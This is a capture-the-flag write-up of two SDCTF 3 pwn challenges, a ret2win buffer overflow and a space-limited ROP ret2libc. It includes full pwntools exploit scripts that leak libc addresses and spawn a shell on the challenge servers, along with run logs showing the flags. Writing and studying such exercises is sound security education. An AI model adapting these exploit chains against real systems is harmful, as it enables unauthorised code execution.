Hi everyone! San Diego CTF 3 was held from 7/5/2022 to 8/5/2022. This post will be on the two pwn challenges I have solved for my team. Let’s get started!
1. Challenges
- Horoscope
- ret2win x64 ELF buffer overflow (BoF) challenge
- Secure Horoscope
- Return-oriented programming (ROP) ret2libc x64 ELF challenge with limited space. Hence creativity is required to chain current ROP to the caller function’s buffer which contains our main ROP gadgets.
2. Horoscope
PWN - Easy
Horoscope
This program will predict your future!
Connect
nc horoscope.sdc.tf 1337
By green beans
2.1 Files provided
- horoscope (x64 ELF binary)
2.2 Overview
We can see that main()
is subjectable to buffer overflow (BoF) as the allowed input size is larger than the s
buffer’s size. Therefore, we can overwrite the return address with some malicious addresses.

In processInput()
, we see that to pass the condition to go back to main()
without going to the default case and exit via exit()
, we need a valid number followed by a ‘/’.
int __fastcall processInput(char *a1)
{
const char *nptr; // [rsp+18h] [rbp-28h]
int i; // [rsp+2Ch] [rbp-14h]
int v4; // [rsp+3Ch] [rbp-4h]
nptr = strtok(a1, "/");
for ( i = 0; i <= 3; ++i )
{
if ( !i )
v4 = atoi(nptr);
if ( i == 3 )
atoi(nptr);
}
switch ( v4 )
{
case 1:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "January");
break;
case 2:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "February");
break;
case 3:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "March");
break;
case 4:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "April");
break;
case 5:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "May");
break;
case 6:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "June");
break;
case 7:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "July");
break;
case 8:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "August");
break;
case 9:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "September");
break;
case 10:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "October");
break;
case 11:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "November");
break;
case 12:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "December");
break;
default:
puts("thats not a valid date >:-(");
fflush(stdout);
exit(1);
}
return fflush(stdout);
}
2.3 Security settings
kali@kali~$ ~/.local/bin/pwn checksec ./horoscope [*] '/home/kali/Desktop/horoscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.4 ret2win exploitation discovery
As NX is enabled, this means we most likely have to use ret2libc or ret2win to obtain a shell. I noticed that the binary file has system()
. This means it is used somewhere. A quick search in the binary allows me to find out it is in the test()
.

However, it requires the global variable temp
to be set. A quick dereference in IDA allows me to find out the debug()
function will set temp
to 1 once it is called. Therefore, we can ret2debug and then ret2test to obtain a shell.

2.5 Write exploit and get the flag
We can use IDA to see how much padding is needed. We will need 0x30 + 0x8 (RBP space) = 0x38 bytes to reach return address location.

Finally, I crafted horoscope_exploit.py:
from pwn import *
context.arch = "amd64"
r = remote("horoscope.sdc.tf", 1337)
#r = gdb.debug("./horoscope")
elf = ELF("./horoscope")
# s to RBP + RBP space
offset_s_to_ret = 0x30 + 0x8
process_input_string = b'1/'
# pad until RET location
padding = (offset_s_to_ret - len(process_input_string)) * b'A'
payload = process_input_string + padding + p64(elf.symbols['debug']) + p64(elf.symbols['test'])
log.info("debug() address: " + hex(elf.symbols['debug']))
log.info("test() address: " + hex(elf.symbols['test']))
log.info("Sending payload...: " + str(payload))
print(str(payload))
r.sendlineafter(b'we will have your very own horoscope\n', payload)
r.interactive()
kali@kali~$ python3 horoscope_exploit.py [+] Opening connection to horoscope.sdc.tf on port 1337: Done [*] '/home/kali/Desktop/horoscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] debug() address: 0x40096e [*] test() address: 0x400950 [*] Sending payload...: b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00' b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00' [*] Switching to interactive mode wow, you were born in the month of January. I think that means you will have a great week! 🙂$ ls flag.txt horoscope $ cat flag.txt sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}$
3. Secure Horoscope
PWN - Medium
Secure Horoscope
Our horoscope developers have pivoted to a more security-focused approach to predicting the future. You won’t find breaking into this one quite so easy!
Connect
nc sechoroscope.sdc.tf 1337
By green beans
3.1 Files provided
- secureHoroscope (x64 ELF binary)
- DockerFile
We can see that there are no vulnerabilities in main()
.
3.2 Overview

However in getInfo()
, we can see that there is a buffer overflow (BoF) vulnerability. The size of the info buffer is 100 (0x64) but the program allows us to input 0x8C characters.

3.3 Security settings
kali@kali~$ ~/.local/bin/pwn checksec ./secureHoroscope [*] '/home/kali/Desktop/secureHoroscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
3.4 Vulnerability exploitation
Based on the security setting since NX is enabled and ASLR/PIE is disabled, we will need to use return-oriented programming (ROP). This time around, there is no function for us to jump to.
However, we only have 0x14 of space for ROP. This means we only can have 2 gadgets. This is due to the 0x8C characters limitation as input and we need 0x70+0x8 (RBP space) = 0x78 space to pad till the return address location.

0x8C - 0x70 - 0x8 = 0x14 space left for gadgets
Therefore, we have to be creative by using main()
‘s buf
variable to store our remaining ROP gadgets. However, there are two variables before the buf
variable which are argc
and argv
.

This can be easily solved by searching for a gadget that will pop argc
‘s value from the stack. This way, 2 gadgets are able to remove 3 items from the stack before the ROP reaches the buf
variable where it contains our remaining ROP gadgets.

Using ROP()
in pwntools, we will search which register has a pop gadget. It took me a while before I found that we can use “pop RBP; ret” gadget to remove buffer argc
‘s value from the stack so that we can go to buffer buf
where our remaining/main gadgets are at.
kali@kali~$ python3 >>> from pwn import * >>> elf = ELF("./secureHoroscope") >>> rop = ROP(elf) >>> rop.rbp Gadget(0x400648, ['pop rbp', 'ret'], ['rbp'], 0x8)
In our main/remaining gadgets in buffer buf
, it shall contain gadgets to leak GOT functions’ address to reveal to us which libc is used by the server as well as bypass libc’s ASLR. Since buffer buf
only can store 0x28 (40) bytes. Our number of gadgets will be limited. Thus unlike the usual one time ROP to leak libc, we will need to do ROP two times to leak the address of puts()
and printf()
. Remember that we will need to go back to main()
instead of getInfo()
so that we can fill buffer buf
with our next ROP main content. Meanwhile, getInfo()
‘s ROP gadgets are always the same which is a dummy RET gadget and a gadget to remove buffer argc
‘s value due to getInfo()
only having a size for two gadgets.
from pwn import *
context.arch = 'amd64'
#context.log_level = "debug"
# set up our main ROP gadgets in main()'s buf variable
def setup_buf_varaible(func_to_use):
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
rop_elf = ROP(elf)
# puts() will be called and print the address stored in elf.got[func_to_use]
rop_elf.call(elf.plt['puts'], [elf.got[func_to_use]])
# Goes back to main() so that we can setup our next ROP.
rop_elf.call(elf.symbols['main'])
# see the gadgets to be chained
log.info(rop_elf.dump())
# send our ROP chain to store inside buf variable
r.sendlineafter(b'To get started, tell us how you feel\n', rop_elf.chain())
# trigger overflow in getInfo()
def trigger_overflow(to_leak=True) -> int:
# info to RBP padding + RBP space
OFFSET_INFO_TO_RET = 0x70 + 0x8
padding = b'A' * OFFSET_INFO_TO_RET
# ret gadget
getInfo_ret_instr_addr = 0x40080E
rop_elf = ROP(elf)
# to clear away rbp+argc's 0x1 value from the stack
clear_argc_value_gadget = rop_elf.find_gadget(["pop rbp", "ret"])[0]
# we only have 0x14 space for ROP (include ret addr's space).
# make these ROP gadgets chain until main()'s buf variable that has our remaining ROP gadgets.
# at the same time, remove away rbp+argc's 0x1 value from the stack
payload = padding + p64(getInfo_ret_instr_addr) + p64(clear_argc_value_gadget)
# send overflow and trigger ROP
r.sendlineafter(b'we will have your very own horoscope\n\n', payload)
# ignore echo back our input
r.recvuntil(b'\n')
# ignore b'hm, I'll have to think about what this means. I'll get back to you in 5 business days.\n'
r.recvuntil(b'\n')
if to_leak:
# get the leaked address of ASLR puts() in libc in the server
return u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
r = remote("sechoroscope.sdc.tf", 1337)
#r = gdb.debug("./secureHoroscope")
elf = ELF("./secureHoroscope")
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("puts")
# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_puts_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
########### setting up ROP to print/leak ASLR address of printf() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("printf")
# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_printf_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
log.info("printf()'s address @ GOT: " + hex(leaked_addr_printf_libc))
kali@kali~$ python3 securehoroscope_exploit.py [+] Opening connection to sechoroscope.sdc.tf on port 1337: Done [*] '/home/kali/Desktop/secureHoroscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 14 cached gadgets for './secureHoroscope' [*] 0x0000: 0x400873 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400580 0x0018: 0x4006c7 0x4006c7() [*] puts()'s address @ GOT: 0x7fb263937970 [*] 0x0000: 0x400873 pop rdi; ret 0x0008: 0x601020 [arg0] rdi = got.printf 0x0010: 0x400580 0x0018: 0x4006c7 0x4006c7() [*] puts()'s address @ GOT: 0x7fbfc41df970 [*] printf()'s address @ GOT: 0x7fbfc41c3e40
Go to https://libc.rip/ and input the leaked address and it will reveal to us what is the libc used by the program on the server. We can directly download the libc file from the website to be used by pwntools.

With the libc revealed, we can now obtain a shell.
3.5 Crafting exploit and getting the flag
Below contains my crafted securehoroscope_exploit.py:
from pwn import *
context.arch = 'amd64'
#context.log_level = "debug"
# set up our main ROP gadgets in main()'s buf variable
def setup_buf_varaible(func_to_use):
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
rop_elf = ROP(elf)
# puts() will be called and print the address stored in elf.got[func_to_use]
rop_elf.call(elf.plt['puts'], [elf.got[func_to_use]])
# Goes back to main() so that we can setup our next ROP.
rop_elf.call(elf.symbols['main'])
# see the gadgets to be chained
log.info(rop_elf.dump())
# send our ROP chain to store inside buf variable
r.sendlineafter(b'To get started, tell us how you feel\n', rop_elf.chain())
# trigger overflow in getInfo()
def trigger_overflow(to_leak=True) -> int:
# info to RBP padding + RBP space
OFFSET_INFO_TO_RET = 0x70 + 0x8
padding = b'A' * OFFSET_INFO_TO_RET
# ret gadget
getInfo_ret_instr_addr = 0x40080E
rop_elf = ROP(elf)
# to clear away rbp+argc's 0x1 value from the stack
clear_argc_value_gadget = rop_elf.find_gadget(["pop rbp", "ret"])[0]
# we only have 0x14 space for ROP (include ret addr's space).
# make these ROP gadgets chain until main()'s buf variable that has our remaining ROP gadgets.
# at the same time, remove away rbp+argc's 0x1 value from the stack
payload = padding + p64(getInfo_ret_instr_addr) + p64(clear_argc_value_gadget)
# send overflow and trigger ROP
r.sendlineafter(b'we will have your very own horoscope\n\n', payload)
# ignore echo back our input
r.recvuntil(b'\n')
# ignore b'hm, I'll have to think about what this means. I'll get back to you in 5 business days.\n'
r.recvuntil(b'\n')
if to_leak:
# get the leaked address of ASLR puts() in libc in the server
return u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
r = remote("sechoroscope.sdc.tf", 1337)
#r = gdb.debug("./secureHoroscope")
elf = ELF("./secureHoroscope")
########### setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("puts")
# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_puts_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
########### setting up ROP to print/leak ASLR address of printf() in the libc of the server (bypass ASLR) ###########
setup_buf_varaible("printf")
# program should have entered getInfo(), time to trigger buffer overflow with ROP
leaked_addr_printf_libc = trigger_overflow()
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
log.info("printf()'s address @ GOT: " + hex(leaked_addr_printf_libc))
libc = ELF("./libc6_2.27-3ubuntu1.5_amd64.so")
# obtain the ASLR base addres of libc
libc.address = server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))
########################## Obtain a shell ##########################
# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])
# check the alignment of the gadgets
log.info(rop_libc.dump())
r.sendlineafter(b'To get started, tell us how you feel\n', rop_libc.chain())
trigger_overflow(False)
r.interactive()
r.close()
kali@kali~$ python3 securehoroscope_exploit.py [+] Opening connection to sechoroscope.sdc.tf on port 1337: Done [*] '/home/kali/Desktop/secureHoroscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 14 cached gadgets for './secureHoroscope' [*] 0x0000: 0x400873 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400580 0x0018: 0x4006c7 0x4006c7() [*] puts()'s address @ GOT: 0x7fb263937970 [*] 0x0000: 0x400873 pop rdi; ret 0x0008: 0x601020 [arg0] rdi = got.printf 0x0010: 0x400580 0x0018: 0x4006c7 0x4006c7() [*] puts()'s address @ GOT: 0x7fb263937970 [*] printf()'s address @ GOT: 0x7fb26391be40 [*] '/home/kali/Desktop/libc6_2.27-3ubuntu1.5_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Leaked server's libc base address: 0x7fb2638b7000 [*] Loaded 199 cached gadgets for './libc6_2.27-3ubuntu1.5_amd64.so' [*] 0x0000: 0x7fb2638d864f pop rdi; ret 0x0008: 0x7fb263a6ad88 [arg0] rdi = 140404152774024 0x0010: 0x7fb263906420 [*] Switching to interactive mode $ ls flag.txt secureHoroscope $ cat flag.txt sdctf{Th0s3_d4rN_P15C3s_g0t_m3}
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂